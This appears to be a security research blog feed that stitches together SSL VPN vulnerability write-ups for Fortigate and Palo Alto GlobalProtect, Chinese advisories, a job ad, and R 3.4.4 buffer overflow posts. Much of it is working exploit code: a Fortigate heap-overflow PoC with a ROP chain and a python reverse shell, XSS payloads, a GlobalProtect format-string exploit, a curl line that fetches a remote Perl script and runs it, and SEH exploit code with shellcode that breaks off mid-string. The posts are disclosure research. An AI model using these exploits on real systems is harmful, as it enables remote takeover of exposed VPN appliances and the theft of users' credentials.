The story began in last August, when we started a new research project on SSL VPN. Compare to the site-to-site VPN such as the IPSEC and PPTP, SSL VPN is more easy to use and compatible with any network environments. For its convenience, SSL VPN becomes the most popular remote access way for enterprise!

However, what if this trusted equipment is insecure? It is an important corporate asset but a blind spot of corporation. According to our survey on Fortune 500, the Top-3 SSL VPN vendors dominate about 75% market share. The diversity of SSL VPN is narrow. Therefore, once we find a critical vulnerability on the leading SSL VPN, the impact is huge. There is no way to stop us because SSL VPN must be exposed to the internet.

At the beginning of our research, we made a little survey on the CVE amount of leading SSL VPN vendors:

It seems like Fortinet and Pulse Secure are the most secure ones. Is that true? As a myth buster, we took on this challenge and started hacking Fortinet and Pulse Secure! This story is about hacking Fortigate SSL VPN. The next article is going to be about Pulse Secure, which is the most splendid one! Stay tuned!

Fortigate SSL VPN

Fortinet calls their SSL VPN product line as Fortigate SSL VPN, which is prevalent among end users and medium-sized enterprise. There are more than 480k servers operating on the internet and is common in Asia and Europe. We can identify it from the URL /remote/login. Here is the technical feature of Fortigate:

  • All-in-one binary We started our research from the file system. We tried to list the binaries in /bin/ and found there are all symbolic links, pointing to /bin/init. Just like this:

    Fortigate compiles all the programs and configurations into a single binary, which makes the init really huge. It contains thousands of functions and there is no symbol! It only contains necessary programs for the SSL VPN, so the environment is really inconvenient for hackers. For example, there is even no /bin/ls or /bin/cat!

  • Web daemon There are 2 web interfaces running on the Fortigate. One is for the admin interface, handled with /bin/httpsd on the port 443. The other is normal user interface, handled with /bin/sslvpnd on the port 4433 by default. Generally, the admin page should be restricted from the internet, so we can only access the user interface.

    Through our investigation, we found the web server is modified from apache, but it is the apache from 2002. Apparently they modified apache in 2002 and added their own additional functionality. We can map the source code of apache to speed up our analysis.

    In both web service, they also compiled their own apache modules into the binary to handle each URL path. We can find a table specifying the handlers and dig into them!

  • WebVPN WebVPN is a convenient proxy feature which allows us connect to all the services simply through a browser. It supports many protocols, like HTTP, FTP, RDP. It can also handle various web resources, such as WebSocket and Flash. To process a website correctly, it parses the HTML and rewrites all the URLs for us. This involves heavy string operation, which is prone to memory bugs.

Vulnerabilities

We found several vulnerabilities:

CVE-2018-13379: Pre-auth arbitrary file reading

While fetching corresponding language file, it builds the json file path with the parameter lang:

snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);

There is no protection, but a file extension appended automatically. It seems like we can only read json file. However, actually we can abuse the feature of snprintf. According to the man page, it writes at most size-1 into the output string. Therefore, we only need to make it exceed the buffer size and the .json will be stripped. Then we can read whatever we want.

CVE-2018-13380: Pre-auth XSS

There are several XSS:

/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29
/message?title=x&msg=%26%23<svg/onload=alert(1)>;

CVE-2018-13381: Pre-auth heap overflow

While encoding HTML entities code, there are 2 stages. The server first calculate the required buffer length for encoded string. Then it encode into the buffer. In the calculation stage, for example, encode string for < is &#60; and this should occupies 5 bytes. If it encounter anything starts with &#, such as &#60;, it consider there is a token already encoded, and count its length directly. Like this:

c = token[idx];
if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>')
    cnt += 5;
else if(c == '&' && html[idx+1] == '#')
    cnt += len(strchr(html[idx], ';')-idx);

However, there is an inconsistency between length calculation and encoding process. The encode part does not handle that much.

switch (c)
{
    case '<':
        memcpy(buf[counter], "&#60;", 5);
        counter += 4;
        break;
    case '>':
    // ...
    default:
        buf[counter] = c;
        break;
    counter++;
}

If we input a malicious string like &#<<<;, the < is still encoded into &#60;, so the result should be &#&#60;&#60;&#60;;! This is much longer than the expected length 6 bytes, so it leads to a heap overflow.

PoC:

import requests

data = {
    'title': 'x', 
    'msg': '&#' + '<'*(0x20000) + ';<', 
}
r = requests.post('https://sslvpn:4433/message', data=data)

CVE-2018-13382: The magic backdoor

In the login page, we found a special parameter called magic. Once the parameter meets a hardcoded string, we can modify any user’s password.

According to our survey, there are still plenty of Fortigate SSL VPN lack of patch. Therefore, considering its severity, we will not disclose the magic string. However, this vulnerability has been reproduced by the researcher from CodeWhite. It is surely that other attackers will exploit this vulnerability soon! Please update your Fortigate ASAP!

Critical vulns in #FortiOS reversed & exploited by our colleagues @niph_ and @ramoliks - patch your #FortiOS asap and see the #bh2019 talk of @orange_8361 and @mehqq_ for details (tnx guys for the teaser that got us started) pic.twitter.com/TLLEbXKnJ4

— Code White GmbH (@codewhitesec) 2019年7月2日

CVE-2018-13383: Post-auth heap overflow

This is a vulnerability on the WebVPN feature. While parsing JavaScript in the HTML, it tries to copy content into a buffer with the following code:

memcpy(buffer, js_buf, js_buf_len);

The buffer size is fixed to 0x2000, but the input string is unlimited. Therefore, here is a heap overflow. It is worth to note that this vulnerability can overflow Null byte, which is useful in our exploitation. To trigger this overflow, we need to put our exploit on an HTTP server, and then ask the SSL VPN to proxy our exploit as a normal user.

Exploitation

The official advisory described no RCE risk at first. Actually, it was a misunderstanding. We will show you how to exploit from the user login interface without authentication.

CVE-2018-13381

Our first attempt is exploiting the pre-auth heap overflow. However, there is a fundamental defect of this vulnerability – It does not overflow Null bytes. In general, this is not a serious problem. The heap exploitation techniques nowadays should overcome this. However, we found it a disaster doing heap feng shui on Fortigate. There are several obstacles, making the heap unstable and hard to be controlled.

  • Single thread, single process, single allocator The web daemon handles multiple connection with epoll(), no multi-process or multi-thread, and the main process and libraries use the same heap, called JeMalloc. It means, all the memory allocations from all the operations of all the connections are on the same heap. Therefore, the heap is really messy.
  • Operations regularly triggered This interferes the heap but is uncontrollable. We cannot arrange the heap carefully because it would be destroyed.
  • Apache additional memory management. The memory won’t be free() until the connection ends. We cannot arrange the heap in a single connection. Actually this can be an effective mitigation for heap vulnerabilities especially for use-after-free.
  • JeMalloc JeMalloc isolates meta data and user data, so it is hard to modify meta data and play with the heap management. Moreover, it centralizes small objects, which also limits our exploit.

We were stuck here, and then we chose to try another way. If anyone exploits this successfully, please teach us!

CVE-2018-13379 + CVE-2018-13383

This is a combination of pre-auth file reading and post-auth heap overflow. One for gaining authentication and one for getting a shell.

  • Gain authentication We first use CVE-2018-13379 to leak the session file. The session file contains valuable information, such as username and plaintext password, which let us login easily.

  • Get the shell After login, we can ask the SSL VPN to proxy the exploit on our malicious HTTP server, and then trigger the heap overflow.

    Due to the problems mentioned above, we need a nice target to overflow. We cannot control the heap carefully, but maybe we can find something regularly appears! It would be great if it is everywhere, and every time we trigger the bug, we can overflow it easily! However, it is a hard work to find such a target from this huge program, so we were stuck at that time … and we started to fuzz the server, trying to get something useful.

    We got an interesting crash. To our great surprise, we almost control the program counter!

    Here is the crash, and that’s why we love fuzzing! ;)

      Program received signal SIGSEGV, Segmentation fault.
      0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1
      2: /x $rax = 0x41414141
      1: x/i $pc
      => 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
      (gdb)
    

    The crash happened in SSL_do_handshake()

      int SSL_do_handshake(SSL *s)
      {
          // ...
    
          s->method->ssl_renegotiate_check(s, 0);
    
          if (SSL_in_init(s) || SSL_in_before(s)) {
              if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
                  struct ssl_async_args args;
    
                  args.s = s;
    
                  ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
              } else {
                  ret = s->handshake_func(s);
              }
          }
          return ret;
      }
    

    We overwrote the function table inside struct SSL called method, so when the program trying to execute s->method->ssl_renegotiate_check(s, 0);, it crashed.

    This is actually an ideal target of our exploit! The allocation of struct SSL can be triggered easily, and the size is just close to our JaveScript buffer, so it can be nearby our buffer with a regular offset! According to the code, we can see that ret = s->handshake_func(s); calls a function pointer, which a perfect choice to control the program flow. With this finding, our exploit strategy is clear.

    We first spray the heap with SSL structure with lots of normal requests, and then overflow the SSL structure.

    Here we put our php PoC on an HTTP server:

      <?php
          function p64($address) {
              $low = $address & 0xffffffff;
              $high = $address >> 32 & 0xffffffff;
              return pack("II", $low, $high);
          }
          $junk = 0x4141414141414141;
          $nop_func = 0x32FC078;
    
          $gadget  = p64($junk);
          $gadget .= p64($nop_func - 0x60);
          $gadget .= p64($junk);
          $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;
          $gadget .= p64($junk);
          $gadget .= p64($junk);
          $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
          $gadget .= p64(0x1bed1f6); // pop rax ; ret ;
          $gadget .= p64(0x58);
          $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret  ;
          $gadget .= p64(0x1366639); // call system ;
          $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";
    
          $p  = str_repeat('AAAAAAAA', 1024+512-4); // offset
          $p .= $gadget;
          $p .= str_repeat('A', 0x1000 - strlen($gadget));
          $p .= $gadget;
      ?>
      <a href="javascript:void(0);<?=$p;?>">xxx</a>
    

    The PoC can be divided into three parts.

    1. Fake SSL structure The SSL structure has a regular offset to our buffer, so we can forge it precisely. In order to avoid the crash, we set the method to a place containing a void function pointer. The parameter at this time is SSL structure itself s. However, there is only 8 bytes ahead of method. We cannot simply call system("/bin/sh"); on the HTTP server, so this is not enough for our reverse shell command. Thanks to the huge binary, it is easy to find ROP gadgets. We found one useful for stack pivot:

       push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
      

      So we set the handshake_func to this gadget, move the rsp to our SSL structure, and do further ROP attack.

    2. ROP chain The ROP chain here is simple. We slightly move the rdi forward so there is enough space for our reverse shell command.
    3. Overflow string Finally, we concatenates the overflow padding and exploit. Once we overflow an SSL structure, we get a shell.

    Our exploit requires multiple attempts because we may overflow something important and make the program crash prior to the SSL_do_handshake. Anyway, the exploit is still stable thanks to the reliable watchdog of Fortigate. It only takes 1~2 minutes to get a reverse shell back.

Demo

Timeline

  • 11 December, 2018 Reported to Fortinet
  • 19 March, 2019 All fix scheduled
  • 24 May, 2019 All advisory released

Fix

Upgrade to FortiOS 5.4.11, 5.6.9, 6.0.5, 6.2.0 or above.

Fortigate SSL VPN 資安通報

8 August 2019 at 16:00

內容

上一篇 SSL VPN 研究系列文我們通報了在 Palo Alto GlobalProtect 上的 RCE 弱點,這一篇將公開我們在 Fortigate SSL VPN 上的研究,共計找到下列五個弱點:

  • CVE-2018-13379: Pre-auth arbitrary file reading
  • CVE-2018-13380: Pre-auth XSS
  • CVE-2018-13381: Pre-auth heap overflow
  • CVE-2018-13382: The magic backdoor
  • CVE-2018-13383: Post-auth heap overflow

透過不需認證的任意讀檔問題(CVE-2018-13379)加上管理介面上的 heap overflow(CVE-2018-13383),惡意使用者可直接取得 SSL VPN 的最高權限。

此外,我們也發現了一個官方後門(CVE-2018-13382),可以任意修改使用者密碼。

在回報 Fortigate 後,官方已陸續修復這些弱點,建議 Fortigate SSL VPN 的用戶更新至最新版。

細節

詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/

附註

這系列 VPN 研究也得到了今年 BlackHat 2019 Pwnie Awards 的 pwnie for best server-side bug(年度最佳伺服器漏洞)。

[已結束] DEVCORE 徵求行政專員

22 July 2019 at 16:00

戴夫寇爾即將滿七年了,過去我們不斷地鑽研進階攻擊技巧,為許多客戶提供高品質的滲透測試服務,也成為客戶最信賴的資安伙伴之一。在 2017 年我們更成為第一個在台灣推出紅隊演練服務的本土廠商,透過無所不用其極的駭客思維,陸續為電子商務、政府部門、金融業者執行最真實且全面的攻擊演練,同時也累積了豐富的經驗與案例,成為台灣紅隊演練實力最深厚的服務供應商。

在 2015 年我們曾經公開徵求一位行政出納人才,後來經過層層的履歷審核、筆試、面試,終於順利找到一位經驗豐富且值得信賴的生活駭客,成為我們最強而有力的後勤伙伴。但是隨著團隊人數增長、業務規模大幅增加、事務分工專業化,行政部門的眾多工作已經無法由單一人力獨自負荷。

因此今年我們再度公開招募行政人才,希望能夠找到一位行政專員,擴大我們的後勤能量,鞏固戴夫寇爾的團隊作戰能力,讓我們持續為企業提供最優異的資安服務。

我們非常渴望您的加入,若您有意成為戴夫寇爾的一員,可參考下列職缺細節:

工作內容

  • 庶務性行政工作 50%
    • 人員接待,例如:電話接聽、來訪人員接待
    • 文件收發,例如:郵務作業、快遞服務
    • 檔案管理,例如:名片掃描、合約掃描、範本檔案格式調整
    • 資料蒐集,例如:各類公司業務需求資料查找
  • 總務工作 20%
    • 辦公室各類用品採買
    • 辦公室環境維護
  • 採購工作 15%
    • 設備採購管理
    • 服務供應商管理
  • 人事工作 5%
    • 保險事務,例如:團體保險、旅遊不便險
    • 差旅行程,例如:交通票券訂購、簽證辦理
    • 教育訓練安排
  • 其他主管交辦事項 10%

工作時間

10:00 - 18:00

工作地點

台北市中山區復興北路 168 號 10 樓 (捷運南京復興站 8 號出口,走路約 3 分鐘)

人格特質偏好

  • 細心嚴謹,能耐心的處理繁瑣的庶務工作。
  • 主動積極,看到我們沒發現的細節,超越我們所期望的基準。
  • 懂得溝通傾聽,能同理他人,找出彼此共識。
  • 擅長邏輯思考,懂得透過淺顯易懂且條理清晰的方式傳達自己的想法。
  • 良好的時間管理能力,依據任務的優先順序,有效率的完成每項交辦。
  • 勇於接受挑戰且具備解決問題的能力,努力克服未知的難題。

工作條件要求

  • 需有三年以上行政相關工作經驗
  • 熟悉 Google Sheets 操作,且具獨立撰寫試算表公式的能力
  • 習慣使用雲端服務,如:Google Drive, Dropbox 或其他

加分條件

  • 您使用過專案管理系統,如:Trello, Basecamp, Redmine 或其他
    您將會使用專案管理系統管理平日任務。
  • 您是 MAC 使用者
    您未來的電腦會是 MAC,我們希望您越快順暢使用電腦越好。
  • 您是生活駭客
    您不需要會寫程式,但您習慣觀察生活中的規律,並想辦法利用這些規律有效率的解決問題。

工作環境

  • 您會在一個開闊的辦公環境工作 DEVCORE ENV
  • 您會擁有一張 Aeron 人體工學椅 DEVCORE AERON
  • 每週補滿飲料(另有咖啡機)、零食,讓您保持心情愉快 DEVCORE DRINK
  • 公司提供飛鏢機讓您發洩對主管的怨氣 DEVCORE DART

公司福利

我們注重公司每位同仁的身心健康,請參考以下福利制度:

  • 休假福利
    • 到職即可預支當年度特休
    • 每年五天全薪病假
  • 獎金福利
    • 三節禮金(春節、端午節、中秋節)
    • 生日禮金
    • 婚喪補助
  • 休閒福利
    • 員工旅遊
    • 舒壓按摩
    • Team Building
  • 美食福利
    • 零食飲料
    • 員工聚餐
  • 健康福利
    • 員工健康檢查
    • 運動中心健身券
  • 進修福利
    • 內部教育訓練
    • 外部進修課程
  • 其他
    • 專業的公司團隊
    • 扁平的內部組織
    • 順暢的溝通氛圍

起薪範圍

新台幣 34,000 - 40,000 (保證年薪 14 個月)

應徵方式

  • 請將您的履歷以 PDF 格式寄到 [email protected]
    • 履歷格式請參考範例示意(DOCPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
  • 標題格式:[應徵] 行政專員 您的姓名(範例:[應徵] 行政專員 王小美)
  • 履歷內容請務必控制在兩頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 工作經歷
    • 社群活動經歷
    • 特殊事蹟
    • MBTI 職業性格測試結果(測試網頁

附註

我們會在兩週內主動與您聯繫,招募過程依序為書面審核、線上測驗以及面試三個階段。最快將於八月中進行第二階段的線上測驗,煩請耐心等候。 由於最近業務較為忙碌,若有應徵相關問題,請一律使用 Email 聯繫,造成您的不便請見諒。

我們選擇優先在部落格公布徵才資訊,是希望您也對資訊安全議題感興趣,即使不懂技術也想為台灣資安盡一點力。無論如何,我們都感謝您的來信,期待您的加入!

Palo Alto GlobalProtect 資安通報

16 July 2019 at 16:00

內容

在我們進行紅隊演練的過程中,發現目標使用的 Palo Alto GlobalProtect 存在 format string 弱點,透過此弱點可控制該 SSL VPN 伺服器,並藉此進入企業內網。

回報原廠後,得知這是個已知弱點並且已經 silent-fix 了,所以並未有 CVE 編號。經過我們分析,存在風險的版本如下,建議用戶儘速更新至最新版以避免遭受攻擊。

  • Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19
  • Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12
  • Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3

9.x 和 7.0.x 並沒有存在風險。

細節

我們也利用了這個弱點成功控制了 Uber 的 VPN 伺服器,詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-PreAuth-RCE-on-Palo-Alto-GlobalProtect-with-Uber-as-case-study/

附註

這將會是我們 SSL VPN 研究的系列文,預計會有三篇。這也是我們研究團隊今年在 Black Hat USADEFCON 的演講『 Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs 』中的一小部分,敬請期待!

Attacking SSL VPN - Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as Case Study!

16 July 2019 at 16:00

Author: Orange Tsai(@orange_8361) and Meh Chang(@mehqq_)

SSL VPNs protect corporate assets from Internet exposure, but what if SSL VPNs themselves are vulnerable? They’re exposed to the Internet, trusted to reliably guard the only way to your intranet. Once the SSL VPN server is compromised, attackers can infiltrate your Intranet and even take over all users connecting to the SSL VPN server! Due to its importance, in the past several months, we started a new research on the security of leading SSL VPN products.

We plan to publish our results on 3 articles. We put this as the first one because we think this is an interesting story and is very suitable as an appetizer of our Black Hat USA and DEFCON talk:

  • Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs!


Don’t worry about the spoilers, this story is not included in our BHUSA/DEFCON talks.

In our incoming presentations, we will provide more hard-core exploitations and crazy bugs chains to hack into your SSL VPN. From how we jailbreak the appliance and what attack vectors we are focusing on. We will also demonstrate gaining root shell from the only exposed HTTPS port, covertly weaponizing the server against their owner, and abusing a hidden feature to take over all VPN clients! So please look forward to it ;)

The story

In this article, we would like to talk about the vulnerability on Palo Alto SSL VPN. Palo Alto calls their SSL VPN product line as GlobalProtect. You can easily identify the GlobalPortect service via the 302 redirection to /global-protect/login.esp on web root!

About the vulnerability, we accidentally discovered it during our Red Team assessment services. At first, we thought this is a 0day. However, we failed reproducing on the remote server which is the latest version of GlobalProtect. So we began to suspect if this is a known vulnerability.

We searched all over the Internet, but we could not find anything. There is no public RCE exploit before[1], no official advisory contains anything similar and no CVE. So we believe this must be a silent-fix 1-day!

[1] There are some exploit about the Pan-OS management interface before such as the CVE-2017-15944 and the excellent Troppers16 paper by @_fel1x, but unfortunately, they are not talking about the GlobalProtect and the management interface is only exposed to the LAN port

The bug

The bug is very straightforward. It is just a simple format string vulnerability with no authentication required! The sslmgr is the SSL gateway handling the SSL handshake between the server and clients. The daemon is exposed by the Nginx reverse proxy and can be touched via the path /sslmgr.

$ curl https://global-protect/sslmgr
<?xml version="1.0" encoding="UTF-8" ?>
        <clientcert-response>
                <status>error</status>
                <msg>Invalid parameters</msg>
        </clientcert-response>

During the parameter extraction, the daemon searches the string scep-profile-name and pass its value as the snprintf format to fill in the buffer. That leads to the format string attack. You can just crash the service with %n!

POST /sslmgr HTTP/1.1
Host: global-protect
Content-Length: 36

scep-profile-name=%n%n%n%n%n...

Affect versions

According to our survey, all the GlobalProtect before July 2018 are vulnerable! Here is the affect version list:

  • Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19
  • Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12
  • Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3

The series 9.x and 7.0.x are not affected by this vulnerability.

How to verify the bug

Although we know where the bug is, to verify the vulnerability is still not easy. There is no output for this format string so that we can’t obtain any address-leak to verify the bug. And to crash the service is never our first choice[1]. In order to avoid crashes, we need to find a way to verify the vulnerability elegantly!

By reading the snprintf manual, we choose the %c as our gadget! When there is a number before the format, such as %9999999c, the snprintf repeats the corresponding times internally. We observe the response time of large repeat number to verify this vulnerability!

$ time curl -s -d 'scep-profile-name=%9999999c' https://global-protect/sslmgr >/dev/null
real    0m1.721s
user    0m0.037s
sys     0m0.005s
$ time curl -s -d 'scep-profile-name=%99999999c' https://global-protect/sslmgr >/dev/null
real    0m2.051s
user    0m0.035s
sys     0m0.012s
$ time curl -s -d 'scep-profile-name=%999999999c' https://global-protect/sslmgr >/dev/null
real    0m5.324s
user    0m0.021s
sys     0m0.018s

As you can see, the response time increases along with the number of %c. So, from the time difference, we can identify the vulnerable SSL VPN elegantly!

[1] Although there is a watchdog monitoring the sslmgr daemon, it’s still improper to crash a service!

The exploitation

Once we can verify the bug, the exploitation is easy. To exploit the binary successfully, we need to determine the detail version first. We can distinguish by the Last-Modified header, such as the /global-protect/portal/css/login.css from 8.x version and the /images/logo_pan_158.gif from 7.x version!

$ curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified
Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT

With a specified version, we can write our own exploit now. We simply modified the pointer of strlen on the Global Offset Table(GOT) to the Procedure Linkage Table(PLT) of system. Here is the PoC:

#!/usr/bin/python

import requests
from pwn import *

url = "https://sslvpn/sslmgr"
cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt"

strlen_GOT = 0x667788 # change me
system_plt = 0x445566 # change me

fmt =  '%70$n'
fmt += '%' + str((system_plt>>16)&0xff) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + 'c'
fmt += '%24$hn'
for i in range(40,60):
    fmt += '%'+str(i)+'$p'

data = "scep-profile-name="
data += p32(strlen_GOT)[:-1]
data += "&appauthcookie="
data += p32(strlen_GOT+2)[:-1]
data += "&host-id="
data += p32(strlen_GOT+4)[:-1]
data += "&user-email="
data += fmt
data += "&appauthcookie="
data += cmd
r = requests.post(url, data=data)

Once the modification is done, the sslmgr becomes our webshell and we can execute commands via:

$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr


We have reported this bug to Palo Alto via the report form. However, we got the following reply:

Hello Orange,

Thanks for the submission. Palo Alto Networks does follow coordinated vulnerability disclosure for security vulnerabilities that are reported to us by external researchers. We do not CVE items found internally and fixed. This issue was previously fixed, but if you find something in a current version, please let us know.

Kind regards

Hmmm, so it seems this vulnerability is known for Palo Alto, but not ready for the world!

The case study

After we awared this is not a 0day, we surveyed all Palo Alto SSL VPN over the world to see if there is any large corporations using the vulnerable GlobalProtect, and Uber is one of them! From our survey, Uber owns about 22 servers running the GlobalProtect around the world, here we take vpn.awscorp.uberinternal.com as an example!

From the domain name, we guess Uber uses the BYOL from AWS Marketplace. From the login page, it seems Uber uses the 8.x version, and we can target the possible target version from the supported version list on the Marketplace overview page:

  • 8.0.3
  • 8.0.6
  • 8.0.8
  • 8.0.9
  • 8.1.0

Finally, we figured out the version, it’s 8.0.6 and we got the shell back!

Uber took a very quick response and right step to fix the vulnerability and Uber gave us a detail explanation to the bounty decision:

Hey @orange — we wanted to provide a little more context on the decision for this bounty. During our internal investigation, we found that the Palo Alto SSL VPN is not the same as the primary VPN which is used by the majority of our employees.

Additionally, we hosted the Palo Alto SSL VPN in AWS as opposed to our core infrastructure; as such, this would not have been able to access any of our internal infrastructure or core services. For these reasons, we determined that while it was an unauthenticated RCE, the overall impact and positional advantage of this was low. Thanks again for an awesome report!

It’s a fair decision. It’s always a great time communicating with Uber and report to their bug bounty program. We don’t care about the bounty that much, because we enjoy the whole research process and feeding back to the security community! Nothing can be better than this!

R 3.4.4 - Buffer Overflow (SEH) DEP bypass

14 July 2019 at 19:33

this is the continuation of R 3.4.4 - Buffer Overflow (SEH) ,but this time we are going to cover seh based rop chain. after this is a continuation. we are going to skip some few things

to bypass DEP (prevention of data execution), We will need some things to build our rop chain for the SEH vulnerability and execute our code successfully

  • Pop pop ret not Possible
  • Code execution on stack failed
  • Rop chain
  • Bypass execution prevention
  • Way to return to our payload

I will show you in this simple image how our payload will look like

seh_rop

after we setup our stack pivot , traditional rop chain setup, and shellcode against our target as below

rop_chain

We have been able to execute mock shellcode , but we can change it by any other shellcode like reverse shell, calculators or even more malicious download - execute malware , but those things are out of topic here.

seh_rop_w00t

R 3.4.4 - Buffer Overflow (SEH)

9 July 2019 at 19:33

References (Source):

https://www.vulnerability-lab.com/get_content.php?id=2143

Release Date:

2018-08-27

Vulnerability Laboratory ID (VL-ID):

2143

Common Vulnerability Scoring System:

6.5

Vulnerability Class:

Buffer Overflow

Product & Service Introduction:

R is a language and environment for statistical computing and graphics. It is a GNU project which is similar to the S language and environment which was developed at Bell Laboratories (formerly AT&T, now Lucent Technologies) by John Chambers and colleagues. R can be considered as a different implementation of S. There are some important differences, but much code written for S runs unaltered under R. R is available as Free Software under the terms of the Free Software Foundation’s GNU General Public License in source code form. It compiles and runs on a wide variety of UNIX platforms and similar systems (including FreeBSD and Linux), Windows and MacOS.

(Copy of the Homepage: https://www.r-project.org/about.html )

Abstract Advisory Information:

An independent vulnerability laboratory researcher discovered a buffer overflow vulnerability in the official R v3.4.4 software.

Vulnerability Disclosure Timeline:

2018-08-27: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Published

Affected Product(s):

R Project Product: R - Software (Windows & MacOS) 3.4.4

Exploitation Technique:

Local

Severity Level:

High

Authentication Type:

Restricted authentication (user/moderator) - User privileges

User Interaction:

No User Interaction

Disclosure Type:

Independent Security Research

Technical Details & Description:

A local buffer overflow vulnerability has been discovered in the official R v3.4.4 software. The vulnerability allows local attackers to overwrite the registers (example eip) to compromise the local software process. The issue can be exploited by local attackers with system privileges to compromise the affected local computer system. The vulnerability is marked as classic buffer overflow issue.

Proof of Concept (PoC):

The local buffer overflow vulnerability can be exploited by local attackers without user interaction and with system privileges. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC:

generate payload.txt, copy contents to clipboard

pen app, select Edit, select ‘GUI preferences’

paste payload.txt contents into ‘Language for menus and messages’

select OK

pop calc

As we can see , we could notice that we could produce an exception by sending a huge amount of bytes

crash

this software is pretty basic as ASLR / SafeSEH are all set to false making the exploit reliable, and universal exploit.

we can check using:

.load pykd.pyd
!py mona modules
!py mona nosafesehaslr

we can see that this are our right modules for our reliable exploit .

-----------------------------------------------------------------------------------------------------------------------------------------
 Module info :
-----------------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
-----------------------------------------------------------------------------------------------------------------------------------------
 0x643c0000 | 0x643d4000 | 0x00014000 | False  | False   | False |  False   | False  | -1.0- [Riconv.dll] (C:\Program Files\R\R-3.4.4\bin\i386\Riconv.dll)
 0x6c900000 | 0x6e76e000 | 0x01e6e000 | False  | False   | False |  False   | False  | 3.44.8872.0 [R.dll] (C:\Program Files\R\R-3.4.4\bin\i386\R.dll)
 0x6bec0000 | 0x6c16d000 | 0x002ad000 | False  | False   | False |  False   | False  | 3.44.8872.0 [Rlapack.dll] (C:\Program Files\R\R-3.4.4\bin\i386\Rlapack.dll)
 0x63940000 | 0x63990000 | 0x00050000 | False  | False   | False |  False   | False  | 3.44.8872.0 [graphics.dll] (C:\Program Files\R\R-3.4.4\library\graphics\libs\i386\graphics.dll)
 0x63740000 | 0x637a5000 | 0x00065000 | False  | False   | False |  False   | False  | 3.44.8872.0 [Rgraphapp.dll] (C:\Program Files\R\R-3.4.4\bin\i386\Rgraphapp.dll)
 0x71300000 | 0x713c7000 | 0x000c7000 | False  | False   | False |  False   | False  | 3.44.8872.0 [stats.dll] (C:\Program Files\R\R-3.4.4\library\stats\libs\i386\stats.dll)
 0x64c40000 | 0x64c51000 | 0x00011000 | False  | False   | False |  False   | False  | 3.44.8872.0 [methods.dll] (C:\Program Files\R\R-3.4.4\library\methods\libs\i386\methods.dll)
 0x00400000 | 0x0041b000 | 0x0001b000 | False  | False   | False |  False   | False  | 3.44.8872.0 [Rgui.exe] (C:\Program Files\R\R-3.4.4\bin\i386\Rgui.exe)
 0x6e7c0000 | 0x6e7eb000 | 0x0002b000 | False  | False   | False |  False   | False  | 3.44.8872.0 [utils.dll] (C:\Program Files\R\R-3.4.4\library\utils\libs\i386\utils.dll)
 0x6fe80000 | 0x6ff95000 | 0x00115000 | False  | False   | False |  False   | False  | 3.44.8872.0 [grDevices.dll] (C:\Program Files\R\R-3.4.4\library\grDevices\libs\i386\grDevices.dll)
-----------------------------------------------------------------------------------------------------------------------------------------

Poc Code

#!/usr/bin/python
import struct

outfile = 'payload.txt'

junk = "A" * 1012

nseh = struct.pack("<L", 0xeb069090) # jmp short 6

seh = struct.pack("<L", 0x6cbff306) # 0x6cbff306 : pop esi # pop edi # ret  |  {PAGE_EXECUTE_READ} [R.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.4.4 (C:\Program Files\R\R-3.4.4\bin\i386\R.dll)


# msfvenom -a x86 -p windows/exec -e x86/shikata_ga_nai -b '\x00\x09\x0a\x0d' cmd=calc.exe exitfunc=thread -f python
nops = "\x90" * 20

shellcode =  ""
shellcode += "\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
shellcode += "\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
shellcode += "\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
